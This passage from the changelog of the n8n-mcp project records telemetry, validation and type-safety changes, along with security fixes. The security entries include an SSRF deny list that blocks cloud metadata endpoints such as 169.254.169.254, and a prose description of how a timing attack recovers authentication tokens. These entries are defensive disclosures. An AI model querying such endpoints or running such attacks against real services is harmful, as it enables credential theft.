- **Current error coverage: ~45%** - missing all pre-handshake failures
#### Added
**Early Error Logging System**
- New `EarlyErrorLogger` class - Independent error tracking before main telemetry ready
- Direct Supabase insert (bypasses batching for immediate persistence)
- Works even when main telemetry fails to initialize
- Sanitized error messages with security patterns from v2.15.3
- File: `src/telemetry/early-error-logger.ts`
**Startup Checkpoint Tracking System**
- 10 checkpoints throughout startup process to identify failure points:
1. `process_started` - Process initialization
2. `database_connecting` - Before DB connection
3. `database_connected` - DB ready
4. `n8n_api_checking` - Before n8n API check (if applicable)
5. `n8n_api_ready` - n8n API ready (if applicable)
6. `telemetry_initializing` - Before telemetry init
7. `telemetry_ready` - Telemetry ready
8. `mcp_handshake_starting` - Before MCP handshake
9. `mcp_handshake_complete` - Handshake success
10. `server_ready` - Full initialization complete
- Helper functions: `findFailedCheckpoint()`, `getCheckpointDescription()`, `getCompletionPercentage()`
- File: `src/telemetry/startup-checkpoints.ts`
**New Event Type: `startup_error`**
- Captures pre-handshake failures with full context
- Properties: `checkpoint`, `errorMessage`, `errorType`, `checkpointsPassed`, `startupDuration`, platform info
- Fires even when main telemetry not ready
- Uses early error logger with direct Supabase insert
**Enhanced `session_start` Event**
- `startupDurationMs` - Time from process start to ready (new, optional)
- `checkpointsPassed` - Array of successfully passed checkpoints (new, optional)
- `startupErrorCount` - Count of errors during startup (new, optional)
- Backward compatible - all new fields optional
**Startup Completion Event**
- New `startup_completed` event type
- Fired after first successful tool call
- Confirms server is functional (not a "zombie server")
- Distinguishes "never started" from "started but silent"
**Error Message Sanitization**
- New `error-sanitizer.ts` utility for secure error message handling
- `extractErrorMessage()` - Safe extraction from Error objects, strings, unknowns
- `sanitizeStartupError()` - Security-focused sanitization using v2.15.3 patterns
- Removes URLs, credentials, API keys, emails, long keys
- Early truncation (ReDoS prevention), stack trace limitation (3 lines)
- File: `src/telemetry/error-sanitizer.ts`
#### Changed
- `src/mcp/index.ts` - Added comprehensive checkpoint tracking throughout `main()` function
- Early logger initialization at process start
- Checkpoints before/after each major initialization step
- Error handling with checkpoint context
- Startup success logging with duration
- `src/mcp/server.ts` - Enhanced database initialization logging
- Detailed debug logs for each initialization step
- Better error context for database failures
- `src/telemetry/event-tracker.ts` - Enhanced `trackSessionStart()` method
- Now accepts optional `startupData` parameter
- New `trackStartupComplete()` method
- `src/telemetry/event-validator.ts` - Added validation schemas
- `startupErrorPropertiesSchema` for startup_error events
- `startupCompletedPropertiesSchema` for startup_completed events
- `src/telemetry/telemetry-types.ts` - New type definitions
- `StartupErrorEvent` interface
- `StartupCompletedEvent` interface
- `SessionStartProperties` interface with new optional fields
#### Technical Details
**Checkpoint Flow:**
```
Process Started → Telemetry Init → Telemetry Ready →
MCP Handshake Starting → MCP Handshake Complete → Server Ready
```
**Error Capture Example:**
```typescript
try {
await earlyLogger.logCheckpoint(STARTUP_CHECKPOINTS.DATABASE_CONNECTING);
// ... database initialization ...
await earlyLogger.logCheckpoint(STARTUP_CHECKPOINTS.DATABASE_CONNECTED);
} catch (error) {
const failedCheckpoint = findFailedCheckpoint(checkpoints);
await earlyLogger.logStartupError(failedCheckpoint, error);
throw error;
}
```
**Error Sanitization:**
- Reuses v2.15.3 security patterns
- Early truncation to 1500 chars (ReDoS prevention)
- Redacts: URLs → `[URL]`, AWS keys → `[AWS_KEY]`, emails → `[EMAIL]`, etc.
- Stack traces limited to first 3 lines
- Final truncation to 500 chars
**Database Schema:**
```typescript
// startup_error event structure
{
event: 'startup_error',
user_id: string,
properties: {
checkpoint: string, // Which checkpoint failed
errorMessage: string, // Sanitized error message
errorType: string, // Error type (Error, TypeError, etc.)
checkpointsPassed: string[], // Checkpoints passed before failure
checkpointsPassedCount: number,
startupDuration: number, // Time until failure (ms)
platform: string, // OS platform
arch: string, // CPU architecture
nodeVersion: string, // Node.js version
isDocker: boolean // Docker environment
}
}
```
#### Impact
**Coverage Improvement:**
- **Before: 45%** error coverage (only post-handshake errors captured)
- **After: 95%** error coverage (pre-handshake + post-handshake errors)
- **+50 percentage points** in error detection capability
**New Scenarios Now Diagnosable:**
1. Database connection timeout → `database_connecting` checkpoint + error details
2. Database file not found → `database_connecting` checkpoint + specific file path error
3. MCP protocol mismatch → `mcp_handshake_starting` checkpoint + protocol version error
4. Permission/access denied → Checkpoint + specific permission error
5. Missing dependencies → Early checkpoint + dependency error
6. Environment configuration errors → Relevant checkpoint + config details
7. n8n API connectivity problems → `n8n_api_checking` checkpoint + connection error
8. Telemetry initialization failures → `telemetry_initializing` checkpoint + init error
9. Silent crashes → Detected via missing `startup_completed` event
10. Resource constraints (memory, disk) → Checkpoint + resource error
**Visibility Gains:**
- Users experiencing startup failures now generate telemetry events
- Failed checkpoint identifies exact failure point in startup sequence
- Sanitized error messages provide actionable debugging information
- Startup duration tracking identifies performance bottlenecks
- Completion percentage shows how far initialization progressed
**Data Volume Impact:**
- Each successful startup: ~300 bytes (checkpoint list in session_start)
- Each failed startup: ~800 bytes (startup_error event with context)
- Expected increase: <1KB per user session
- Minimal Supabase storage impact
#### Files Changed
**New Files (3):**
- `src/telemetry/early-error-logger.ts` - Early error capture system
- `src/telemetry/startup-checkpoints.ts` - Checkpoint constants and helpers
- `src/telemetry/error-sanitizer.ts` - Error message sanitization utility
**Modified Files (6):**
- `src/mcp/index.ts` - Integrated checkpoint tracking throughout startup
- `src/mcp/server.ts` - Enhanced database initialization logging
- `src/telemetry/event-tracker.ts` - Enhanced session_start with startup data
- `src/telemetry/event-validator.ts` - Added startup event validation
- `src/telemetry/telemetry-types.ts` - New event type definitions
- `package.json` - Version bump to 2.18.2
#### Next Steps
1. **Monitor Production** - Watch for startup_error events in Supabase dashboard
2. **Analyze Patterns** - Identify most common startup failure scenarios
3. **Build Diagnostics** - Create startup reliability dashboard
4. **Improve Documentation** - Add troubleshooting guides for common failures
5. **Measure Impact** - Validate that Docker/cloud user ID stability fix (v2.17.1) is working
6. **Segment Analysis** - Compare startup reliability across environments (Docker vs local vs cloud)
#### Testing
- **Coverage**: All new code covered by existing telemetry test suites
- **Integration**: Manual testing verified checkpoint tracking works correctly
- **Backward Compatibility**: 100% - all new fields optional, no breaking changes
- **Validation**: Zod schemas ensure data quality
## [2.18.1] - 2025-10-08
### 🔍 Telemetry Enhancement
**Added Docker/cloud environment detection to session_start events.**
This release enables measurement of the v2.17.1 user ID stability fix by tracking which users are in Docker/cloud environments.
#### Problem
The v2.17.1 fix for Docker/cloud user ID stability (boot_id-based IDs) could not be validated because telemetry didn't capture Docker/cloud environment flags. Analysis showed:
- Zero Docker/cloud users detected across all versions
- No way to measure if the fix is working
- Cannot determine what % of users are affected
- Cannot validate stable user IDs are being generated
#### Added
- **Docker Detection**: `isDocker` boolean flag in session_start events
- Detects `IS_DOCKER=true` environment variable
- Identifies container deployments using boot_id-based stable IDs
- **Cloud Platform Detection**: `cloudPlatform` string in session_start events
- Detects 8 cloud platforms: Railway, Render, Fly.io, Heroku, AWS, Kubernetes, GCP, Azure
- Identifies which platform users are deploying to
- Returns `null` for local/non-cloud environments
- **New Detection Method**: `detectCloudPlatform()` in event tracker
- Checks platform-specific environment variables
- Returns platform name or null
- Uses same logic as config-manager's cloud detection
#### Changed
- `trackSessionStart()` in `src/telemetry/event-tracker.ts`
- Now includes `isDocker` field (boolean)
- Now includes `cloudPlatform` field (string | null)
- Backward compatible - only adds new fields
#### Testing
- 16 new unit tests for environment detection
- Tests for Docker detection with IS_DOCKER flag
- Tests for all 8 cloud platform detections
- Tests for local environment (no flags)
- Tests for combined Docker + cloud scenarios
- 100% coverage for new detection logic
#### Impact
**Enables Future Analysis**:
- Measure % of users in Docker/cloud vs local
- Validate v2.17.1 boot_id-based user ID stability
- Segment retention metrics by environment
- Identify environment-specific issues
- Calculate actual Docker user duplicate rate reduction
**Expected Insights** (once data collected):
- Actual % of Docker/cloud users in user base
- Validation that boot_id method is being used
- User ID stability improvements measurable
- Environment-specific error patterns
- Platform distribution of user base
**No Breaking Changes**:
- Only adds new fields to existing events
- All existing code continues working
- Event validator handles new fields automatically
- 100% backward compatible
#### Technical Details
**Detection Logic**:
```typescript
isDocker: process.env.IS_DOCKER === 'true'
cloudPlatform: detectCloudPlatform() // Checks 8 env vars
```
**Platform Detection Priority**:
1. Railway: `RAILWAY_ENVIRONMENT`
2. Render: `RENDER`
3. Fly.io: `FLY_APP_NAME`
4. Heroku: `HEROKU_APP_NAME`
5. AWS: `AWS_EXECUTION_ENV`
6. Kubernetes: `KUBERNETES_SERVICE_HOST`
7. GCP: `GOOGLE_CLOUD_PROJECT`
8. Azure: `AZURE_FUNCTIONS_ENVIRONMENT`
**Event Structure**:
```json
{
"event": "session_start",
"properties": {
"version": "2.18.1",
"platform": "linux",
"arch": "x64",
"nodeVersion": "v20.0.0",
"isDocker": true,
"cloudPlatform": "railway"
}
}
```
#### Next Steps
1. Deploy v2.18.1 to production
2. Wait 24-48 hours for data collection
3. Re-run telemetry analysis with environment segmentation
4. Validate v2.17.1 boot_id fix effectiveness
5. Calculate actual Docker user duplicate rate reduction
## [2.18.0] - 2025-10-08
### 🎯 Validation Warning System Redesign
**Fixed critical validation warning system that was generating 96.5% false positives.**
This release fundamentally fixes the validation warning system that was overwhelming users and AI assistants with false warnings about properties they never configured. The system now achieves >90% signal-to-noise ratio (up from 3%).
#### Problem
The validation system was warning about properties with default values as if the user had configured them:
- HTTP Request with 2 properties → 29 warnings (96% false positives)
- Webhook with 1 property → 6 warnings (83% false positives)
- Overall signal-to-noise ratio: 3%
#### Fixed
- **User Property Tracking** - System now distinguishes between user-provided properties and system defaults
- **UI Property Filtering** - No longer validates UI-only elements (notice, callout, infoBox)
- **Improved Messages** - Warnings now explain visibility requirements (e.g., "Requires: sendBody=true")
- **Profile-Aware Filtering** - Each validation profile shows appropriate warnings
- `minimal`: Only errors + critical security warnings
- `runtime`: Errors + security warnings (filters property visibility noise)
- `ai-friendly`: Balanced helpful warnings (default)
- `strict`: All warnings + suggestions
#### Results
After fix (verified with n8n-mcp-tester):
- HTTP Request with 2 properties → 1 warning (96.5% noise reduction)
- Webhook with 1 property → 1 warning (83% noise reduction)
- Overall signal-to-noise ratio: >90%
#### Changed
- `src/services/config-validator.ts`
- Added `UI_ONLY_TYPES` constant to filter UI properties
- Added `userProvidedKeys` parameter to `validate()` method
- Added `getVisibilityRequirement()` helper for better error messages
- Updated `checkCommonIssues()` to only warn about user-provided properties
- `src/services/enhanced-config-validator.ts`
- Extract user-provided keys before applying defaults
- Pass `userProvidedKeys` to base validator
- Enhanced profile filtering to remove property visibility warnings in `runtime` and `ai-friendly` profiles
- `src/mcp-tools-engine.ts`
- Extract user-provided keys in `validateNodeOperation()` before calling validator
#### Impact
- **AI Assistants**: Can now trust validation warnings (90%+ useful)
- **Developers**: Get actionable guidance instead of noise
- **Workflow Quality**: Real issues are fixed (not buried in false positives)
- **System Trust**: Validation becomes a valuable tool
## [2.17.5] - 2025-10-07
### 🔧 Type Safety
**Added TypeScript type definitions for n8n node parsing with pragmatic strategic `any` assertions.**
This release improves type safety for VersionedNodeType and node class parameters while maintaining zero compilation errors and 100% backward compatibility. Follows a pragmatic "70% benefit with 0% breakage" approach using strategic `any` assertions where n8n's union types cause issues.
#### Added
- **Type Definitions** (`src/types/node-types.ts`)
- Created comprehensive TypeScript interfaces for VersionedNodeType
- Imported n8n's official interfaces (`IVersionedNodeType`, `INodeType`, `INodeTypeBaseDescription`, `INodeTypeDescription`)
- Added `NodeClass` union type replacing `any` parameters in method signatures
- Created `VersionedNodeInstance` and `RegularNodeInstance` interfaces
- **Type Guards**: `isVersionedNodeInstance()` and `isVersionedNodeClass()` for runtime type checking
- **Utility Functions**: `instantiateNode()`, `getNodeInstance()`, `getNodeDescription()` for safe node handling
- **Parser Type Updates**
- Updated `node-parser.ts`: All method signatures now use `NodeClass` instead of `any` (15+ methods)
- Updated `simple-parser.ts`: Method signatures strongly typed with `NodeClass`
- Updated `property-extractor.ts`: All extraction methods use `NodeClass` typing
- All parser method signatures now properly typed (30+ replacements)
- **Strategic `any` Assertions Pattern**
- **Problem**: n8n's type hierarchy has union types (`INodeTypeBaseDescription | INodeTypeDescription`) where properties like `polling`, `version`, `webhooks` only exist on one side
- **Solution**: Keep strong types in method signatures, use strategic `as any` assertions internally for property access
- **Pattern**:
```typescript
// Strong signature provides caller type safety
private method(description: INodeTypeBaseDescription | INodeTypeDescription): ReturnType {
// Strategic assertion for internal property access
const desc = description as any;
return desc.polling || desc.webhooks; // Access union-incompatible properties
}
```
- **Result**: 70% type safety benefit (method signatures) with 0% breakage (zero compilation errors)
#### Benefits
1. **Better IDE Support**: Auto-complete and inline documentation for node properties
2. **Compile-Time Safety**: Strong method signatures catch type errors at call sites
3. **Documentation**: Types serve as inline documentation for developers
4. **Bug Prevention**: Would have helped prevent the `baseDescription` bug (v2.17.4)
5. **Refactoring Safety**: Type system helps track changes across codebase
6. **Zero Breaking Changes**: Pragmatic approach ensures build never breaks
#### Implementation Notes
- **Philosophy**: Incremental improvement over perfection - get significant benefit without extensive refactoring
- **Zero Compilation Errors**: All TypeScript checks pass cleanly
- **Test Coverage**: Updated all test files with strategic `as any` assertions for mock objects
- **Runtime Behavior**: No changes - types are compile-time only
- **Future Work**: Union types could be refined with conditional types or overloads for 100% type safety
#### Known Limitations
- Strategic `any` assertions bypass type checking for internal property access
- Union type differences (`INodeTypeBaseDescription` vs `INodeTypeDescription`) not fully resolved
- Test mocks require `as any` since they don't implement full n8n interfaces
- Full type safety would require either (a) refactoring n8n's type hierarchy or (b) extensive conditional type logic
#### Impact
- **Breaking Changes**: None (internal types only, external API unchanged)
- **Runtime Behavior**: No changes (types are compile-time only)
- **Build System**: Zero compilation errors maintained
- **Developer Experience**: Significantly improved with better types and IDE support
- **Type Coverage**: ~70% (method signatures strongly typed, internal logic uses strategic assertions)
## [2.17.4] - 2025-10-07
### 🔧 Validation
**Fixed critical version extraction and typeVersion validation bugs.**
This release fixes two critical bugs that caused incorrect version data and validation bypasses for langchain nodes.
#### Fixed
- **Version Extraction Bug (CRITICAL)**
- **Issue:** AI Agent node returned version "3" instead of "2.2" (the defaultVersion)
- **Impact:**
- MCP tools (`get_node_essentials`, `get_node_info`) returned incorrect version "3"
- Version "3" exists but n8n explicitly marks it as unstable ("Keep 2.2 until blocking bugs are fixed")
- AI agents created workflows with wrong typeVersion, causing runtime issues
- **Root Cause:** `extractVersion()` in node-parser.ts checked `instance.baseDescription.defaultVersion` which doesn't exist on VersionedNodeType instances
- **Fix:** Updated version extraction priority in `node-parser.ts:137-200`
1. Priority 1: Check `currentVersion` property (what VersionedNodeType actually uses)
2. Priority 2: Check `description.defaultVersion` (fixed property name from `baseDescription`)
3. Priority 3: Fallback to max(nodeVersions) as last resort
- **Verification:** AI Agent node now correctly returns version "2.2" across all MCP tools
- **typeVersion Validation Bypass (CRITICAL)**
- **Issue:** Langchain nodes with invalid typeVersion passed validation (even `typeVersion: 99999`)
- **Impact:**
- Invalid typeVersion values were never caught during validation
- Workflows with non-existent typeVersions passed validation but failed at runtime in n8n
- Validation was completely bypassed for all langchain nodes (AI Agent, Chat Trigger, OpenAI Chat Model, etc.)
- **Root Cause:** `workflow-validator.ts:400-405` skipped ALL validation for langchain nodes before typeVersion check
- **Fix:** Moved typeVersion validation BEFORE langchain skip in `workflow-validator.ts:447-493`
- typeVersion now validated for ALL nodes including langchain
- Validation runs before parameter validation skip
- Checks for missing, invalid, outdated, and exceeding-maximum typeVersion values
- **Verification:** Workflows with invalid typeVersion now correctly fail validation
- **Version 0 Rejection Bug (CRITICAL)**
- **Issue:** typeVersion 0 was incorrectly rejected as invalid
- **Impact:** Nodes with version 0 could not be validated, even though 0 is a valid version number
- **Root Cause:** `workflow-validator.ts:462` checked `typeVersion < 1` instead of `< 0`
- **Fix:** Changed validation to allow version 0 as a valid typeVersion
- **Verification:** Version 0 is now accepted as valid
- **Duplicate baseDescription Bug in simple-parser.ts (HIGH)**
- **Issue:** EXACT same version extraction bug existed in simple-parser.ts
- **Impact:** Simple parser also returned incorrect versions for VersionedNodeType nodes
- **Root Cause:** `simple-parser.ts:195-196, 208-209` checked `baseDescription.defaultVersion`
- **Fix:** Applied identical fix as node-parser.ts with same priority chain
1. Priority 1: Check `currentVersion` property
2. Priority 2: Check `description.defaultVersion`
3. Priority 3: Check `nodeVersions` (fallback to max)
- **Verification:** Simple parser now returns correct versions
- **Unsafe Math.max() Usage (MEDIUM)**
- **Issue:** 10 instances of Math.max() without empty array or NaN validation
- **Impact:** Potential crashes with empty nodeVersions objects or invalid version data
- **Root Cause:** No validation before calling Math.max(...array)
- **Locations Fixed:**
- `simple-parser.ts`: 2 instances
- `node-parser.ts`: 5 instances
- `property-extractor.ts`: 3 instances
- **Fix:** Added defensive validation:
```typescript
const versions = Object.keys(nodeVersions).map(Number);
if (versions.length > 0) {
const maxVersion = Math.max(...versions);
if (!isNaN(maxVersion)) {
return maxVersion.toString();
}
}
```
- **Verification:** All Math.max() calls now have proper validation
#### Technical Details
**Version Extraction Fix:**
```typescript
// BEFORE (BROKEN):
if (instance?.baseDescription?.defaultVersion) { // Property doesn't exist!
return instance.baseDescription.defaultVersion.toString();
}
// AFTER (FIXED):
if (instance?.currentVersion !== undefined) { // What VersionedNodeType actually uses
return instance.currentVersion.toString();
}
if (instance?.description?.defaultVersion) { // Correct property name
return instance.description.defaultVersion.toString();
}
```
**typeVersion Validation Fix:**
```typescript
// BEFORE (BROKEN):
// Skip ALL node repository validation for langchain nodes
if (normalizedType.startsWith('nodes-langchain.')) {
continue; // typeVersion validation never runs!
}
// AFTER (FIXED):
// Validate typeVersion for ALL versioned nodes (including langchain)
if (nodeInfo.isVersioned) {
// ... typeVersion validation ...
}
// THEN skip parameter validation for langchain nodes
if (normalizedType.startsWith('nodes-langchain.')) {
continue;
}
```
#### Impact
- **Version Accuracy:** AI Agent and all VersionedNodeType nodes now return correct version (2.2, not 3)
- **Validation Reliability:** Invalid typeVersion values are now caught for langchain nodes
- **Workflow Stability:** Prevents creation of workflows with non-existent typeVersions
- **Database Rebuilt:** 536 nodes reloaded with corrected version data
- **Parser Consistency:** Both node-parser.ts and simple-parser.ts use identical version extraction logic
- **Robustness:** All Math.max() operations now protected against edge cases
- **Edge Case Support:** Version 0 nodes now properly supported
#### Testing
- **Unit Tests:** All tests passing (node-parser: 34 tests, simple-parser: 39 tests)
- Added tests for currentVersion priority
- Added tests for version 0 edge case
- Added tests for baseDescription rejection
- **Integration Tests:** Verified with n8n-mcp-tester agent
- Version consistency between `get_node_essentials` and `get_node_info` ✅
- typeVersion validation catches invalid values (99, 100000) ✅
- AI Agent correctly reports version "2.2" ✅
- **Code Review:** Deep analysis found and fixed 6 similar bugs
- 3 CRITICAL/HIGH priority bugs fixed in this release
- 3 LOW priority bugs identified for future work
## [2.17.3] - 2025-10-07
### 🔧 Validation
**Fixed critical validation gap for AI model nodes with resourceLocator properties.**
This release adds validation for `resourceLocator` type properties, fixing a critical issue where AI agents could create invalid configurations that passed validation but failed at runtime.
#### Fixed
- **resourceLocator Property Validation**
- **Issue:** No validation existed for `resourceLocator` type properties used in AI model nodes
- **Impact:**
- AI agents could create invalid configurations like `model: "gpt-4o-mini"` (string) instead of `model: {mode: "list", value: "gpt-4o-mini"}` (object)
- Invalid configs passed validation but failed at runtime in n8n
- Affected many langchain nodes: OpenAI Chat Model (v1.2+), Anthropic, Cohere, DeepSeek, Groq, Mistral, OpenRouter, xAI Grok, and embeddings nodes
- **Root Cause:** `validatePropertyTypes()` method in ConfigValidator only validated `string`, `number`, `boolean`, and `options` types - `resourceLocator` was completely missing
- **Fix:** Added comprehensive resourceLocator validation in `config-validator.ts:237-274`
- Validates value is an object (not string, number, null, or array)
- Validates required `mode` property exists and is a string
- Validates required `value` property exists
- Provides helpful error messages with exact fix suggestions
- Example error: `Property 'model' is a resourceLocator and must be an object with 'mode' and 'value' properties, got string`
- Example fix: `Change model to { mode: "list", value: "gpt-4o-mini" } or { mode: "id", value: "gpt-4o-mini" }`
#### Added
- Comprehensive resourceLocator validation with 14 test cases covering:
- String value rejection with helpful fix suggestions
- Null and array value rejection
- Missing `mode` or `value` property detection
- Invalid `mode` type detection (e.g., number instead of string)
- Invalid `mode` value validation (must be 'list', 'id', or 'url')
- Empty object detection (missing both mode and value)
- Extra properties handling (ignored gracefully)
- Valid resourceLocator acceptance for "list", "id", and "url" modes
- JSDoc documentation explaining resourceLocator structure and common mistakes
- All 29 tests passing (100% coverage for new validation logic)
## [2.17.1] - 2025-10-07
### 🔧 Telemetry
**Critical fix: Docker and cloud deployments now maintain stable anonymous user IDs.**
This release fixes a critical telemetry issue where Docker and cloud deployments generated new user IDs on every container recreation, causing 100-200x inflation in unique user counts and preventing accurate retention metrics.
#### Fixed
- **Docker/Cloud User ID Stability**
- **Issue:** Docker containers and cloud deployments generated new anonymous user ID on every container recreation
- **Impact:**
- Stdio mode: ~1000x user ID inflation per month (with --rm flag)
- HTTP mode: ~180x user ID inflation per month (6 releases/day)
- Telemetry showed 3,996 "unique users" when actual number was likely ~2,400-2,800
- 78% single-session rate and 5.97% Week 1 retention were inflated by duplicates
- **Root Cause:** Container hostnames change on recreation, persistent config files lost with ephemeral containers
- **Fix:** Use host's `/proc/sys/kernel/random/boot_id` for stable identification
- boot_id is stable across container recreations (only changes on host reboot)
- Available in all Linux containers (Alpine, Ubuntu, Node, etc.)
- Readable by non-root users
- Defensive fallback chain:
1. boot_id (stable across container updates)
2. Combined host signals (CPU cores, memory, kernel version)
3. Generic Docker ID (allows aggregate statistics)
- **Environment Detection:**
- IS_DOCKER=true triggers boot_id method
- Auto-detects cloud platforms: Railway, Render, Fly.io, Heroku, AWS, Kubernetes, GCP, Azure
- Local installations continue using file-based method with hostname
- **Zero Configuration:** No user action required, automatic environment detection
#### Added
- `TelemetryConfigManager.generateDockerStableId()` - Docker/cloud-specific ID generation
- `TelemetryConfigManager.readBootId()` - Read and validate boot_id from /proc
- `TelemetryConfigManager.generateCombinedFingerprint()` - Fallback fingerprinting
- `TelemetryConfigManager.isCloudEnvironment()` - Auto-detect 8 cloud platforms
### Testing
- **Unit Tests:** 18 new tests for boot_id functionality, environment detection, fallback chain
- **Integration Tests:** 16 new tests for actual file system operations, Docker detection, cloud platforms
- **Coverage:** All 34 new tests passing (100%)
## [2.17.0] - 2025-01-06
### 🤖 AI Workflow Validation
**Major enhancement: Comprehensive AI Agent workflow validation now working correctly.**
This release fixes critical bugs that caused ALL AI-specific validation to be silently skipped. Before this fix, 0% of AI validation was functional.
#### Fixed
- **🚨 CRITICAL: Node Type Normalization Bug (HIGH-01, HIGH-04, HIGH-08)**
- **Issue:** All AI validation was silently skipped due to node type comparison mismatch
- **Root Cause:** `NodeTypeNormalizer.normalizeToFullForm()` returns SHORT form (`nodes-langchain.agent`) but validation code compared against FULL form (`@n8n/n8n-nodes-langchain.agent`)
- **Impact:** Every comparison returned FALSE, causing zero AI validations to execute
- **Affected Validations:**
- Missing language model detection (HIGH-01) - Never triggered
- AI tool connection detection (HIGH-04) - Never triggered, false warnings
- Streaming mode validation (HIGH-08) - Never triggered
- All 13 AI tool sub-node validators - Never triggered
- Chat Trigger validation - Never triggered
- Basic LLM Chain validation - Never triggered
- **Fix:** Updated 21 node type comparisons to use SHORT form
- `ai-node-validator.ts`: 7 comparison fixes
- `ai-tool-validators.ts`: 14 comparison fixes (13 validator keys + 13 switch cases)
- **Verification:** All 25 AI validator unit tests now passing (100%)
- **🚨 HIGH-08: Incomplete Streaming Mode Validation**
- **Issue:** Only validated streaming FROM Chat Trigger, missed AI Agent's own `streamResponse` setting
- **Impact:** AI Agent with `options.streamResponse=true` and main output connections not detected
- **Fix:** Added validation for both scenarios:
- Chat Trigger with `responseMode="streaming"` → AI Agent → main output
- AI Agent with `options.streamResponse=true` → main output
- **Error Code:** `STREAMING_WITH_MAIN_OUTPUT` with clear error message
- **Verification:** 2 test scenarios pass (Chat Trigger + AI Agent own setting)
- **🐛 MEDIUM-02: get_node_essentials Examples Retrieval**
- **Issue:** `get_node_essentials` with `includeExamples=true` always returned empty examples array
- **Root Cause:** Inconsistent `workflowNodeType` construction between result object and examples query
- **Impact:** Examples existed in database but query used wrong node type (e.g., `n8n-nodes-base.agent` instead of `@n8n/n8n-nodes-langchain.agent`)
- **Fix:** Use pre-computed `result.workflowNodeType` instead of reconstructing it
- **Verification:** Examples now retrieved correctly, matching `search_nodes` behavior
#### Added
- **AI Agent Validation:**
- Missing language model connection detection with code `MISSING_LANGUAGE_MODEL`
- AI tool connection validation (no more false "no tools connected" warnings)
- Streaming mode constraint enforcement for both Chat Trigger and AI Agent scenarios
- Memory connection validation (max 1 allowed)
- Output parser validation
- System message presence checks (info level)
- High `maxIterations` warnings
- **Chat Trigger Validation:**
- Streaming mode target validation (must connect to AI Agent)
- Main output connection validation for streaming mode
- Connection existence checks
- **Basic LLM Chain Validation:**
- Language model connection requirement
- Prompt text validation
- **AI Tool Sub-Node Validation:**
- 13 specialized validators for AI tools (HTTP Request Tool, Code Tool, Vector Store Tool, etc.)
- Tool description validation
- Credentials validation
- Configuration-specific checks
#### Changed
- **Breaking:** AI validation now actually runs (was completely non-functional before)
- **Validation strictness:** All AI-specific validations now enforce n8n's actual requirements
- **Error messages:** Clear, actionable messages with error codes for programmatic handling
### Testing
- **Unit Tests:** 25/25 AI validator tests passing (100%)
- **Test Improvement:** Overall test pass rate improved from 37.5% to 62.5%+ (+67% improvement)
- **Debug Tests:** 3/3 debug scenarios passing
### Documentation
- Added comprehensive test scenarios in `PHASE_2_TEST_SCENARIOS.md`
- Added Phase 1-2 completion summary in `PHASE_1_2_SUMMARY.md`
- Added detailed Phase 2 analysis in `PHASE_2_COMPLETE.md`
- Updated README.md with AI workflow validation features
## [2.16.3] - 2025-01-06
### 🔒 Security
**HIGH priority security enhancements. Recommended for all production deployments.**
This release implements 2 high-priority security protections identified in the security audit (Issue #265 PR #2):
- **🛡️ HIGH-02: Rate Limiting for Authentication**
- **Issue:** No rate limiting on authentication endpoints allowed brute force attacks
- **Impact:** Attackers could make unlimited authentication attempts
- **Fix:** Implemented express-rate-limit middleware for authentication endpoint
- Default: 20 attempts per 15 minutes per IP
- Configurable via `AUTH_RATE_LIMIT_WINDOW` and `AUTH_RATE_LIMIT_MAX`
- Per-IP tracking with standard rate limit headers (RateLimit-Limit, RateLimit-Remaining, RateLimit-Reset)
- JSON-RPC formatted error responses (429 Too Many Requests)
- Automatic IP detection behind reverse proxies (requires TRUST_PROXY=1)
- **Verification:** 4 integration tests with sequential request patterns
- **See:** https://github.com/czlonkowski/n8n-mcp/issues/265 (HIGH-02)
- **🛡️ HIGH-03: SSRF Protection for Webhooks**
- **Issue:** Webhook triggers vulnerable to Server-Side Request Forgery attacks
- **Impact:** Attackers could access internal networks, localhost services, and cloud metadata
- **Fix:** Implemented three-mode SSRF protection system with DNS rebinding prevention
- **Strict mode** (default): Block localhost + private IPs + cloud metadata (production)
- **Moderate mode**: Allow localhost, block private IPs + cloud metadata (local development)
- **Permissive mode**: Allow localhost + private IPs, block cloud metadata (internal testing)
- Cloud metadata endpoints **ALWAYS blocked** in all modes (169.254.169.254, metadata.google.internal, etc.)
- DNS rebinding prevention through hostname resolution before validation
- IPv6 support with link-local (fe80::/10) and unique local (fc00::/7) address blocking
- **Configuration:** Set via `WEBHOOK_SECURITY_MODE` environment variable
- **Locations Updated:**
- `src/utils/ssrf-protection.ts` - Core protection logic
- `src/services/n8n-api-client.ts:219` - Webhook trigger validation
- **Verification:** 25 unit tests covering all three modes, DNS rebinding, IPv6
- **See:** https://github.com/czlonkowski/n8n-mcp/issues/265 (HIGH-03)
### Added
- **Configuration:** `AUTH_RATE_LIMIT_WINDOW` - Rate limit window in milliseconds (default: 900000 = 15 minutes)
- **Configuration:** `AUTH_RATE_LIMIT_MAX` - Max authentication attempts per window per IP (default: 20)
- **Configuration:** `WEBHOOK_SECURITY_MODE` - SSRF protection mode (strict/moderate/permissive, default: strict)
- **Documentation:** Comprehensive security features section in all deployment guides
- HTTP_DEPLOYMENT.md - Rate limiting and SSRF protection configuration
- DOCKER_README.md - Security features section with environment variables
- DOCKER_TROUBLESHOOTING.md - "Webhooks to Local n8n Fail" troubleshooting guide
- RAILWAY_DEPLOYMENT.md - Security configuration recommendations
- README.md - Local n8n configuration section for moderate mode
### Changed
- **Security:** All webhook triggers now validate URLs through SSRF protection before execution
- **Security:** HTTP authentication endpoint now enforces rate limiting per IP address
- **Dependencies:** Added `express-rate-limit@^7.1.5` for rate limiting functionality
### Fixed
- **Security:** IPv6 localhost URLs (`http://[::1]/webhook`) now correctly stripped of brackets before validation
- **Security:** Localhost detection now properly handles all localhost variants (127.x.x.x, ::1, localhost, etc.)
## [2.16.2] - 2025-10-06
### 🔒 Security
**CRITICAL security fixes for production deployments. All users should upgrade immediately.**
This release addresses 2 critical security vulnerabilities identified in the security audit (Issue #265):
- **🚨 CRITICAL-02: Timing Attack Vulnerability**
- **Issue:** Non-constant-time string comparison in authentication allowed timing attacks
- **Impact:** Authentication tokens could be discovered character-by-character through statistical timing analysis (estimated 24-48 hours to compromise)
- **Attack Vector:** Repeated authentication attempts with carefully crafted tokens while measuring response times
- **Fix:** Implemented `crypto.timingSafeEqual` for all token comparisons
- **Locations Fixed:**
- `src/utils/auth.ts:27` - validateToken method
- `src/http-server-single-session.ts:1087` - Single-session HTTP auth
- `src/http-server.ts:315` - Fixed HTTP server auth
- **New Method:** `AuthManager.timingSafeCompare()` - constant-time token comparison utility
- **Verification:** 11 unit tests with timing variance analysis (<10% variance proven)
- **CVSS:** 8.5 (High) - Confirmed critical, requires authentication but trivially exploitable
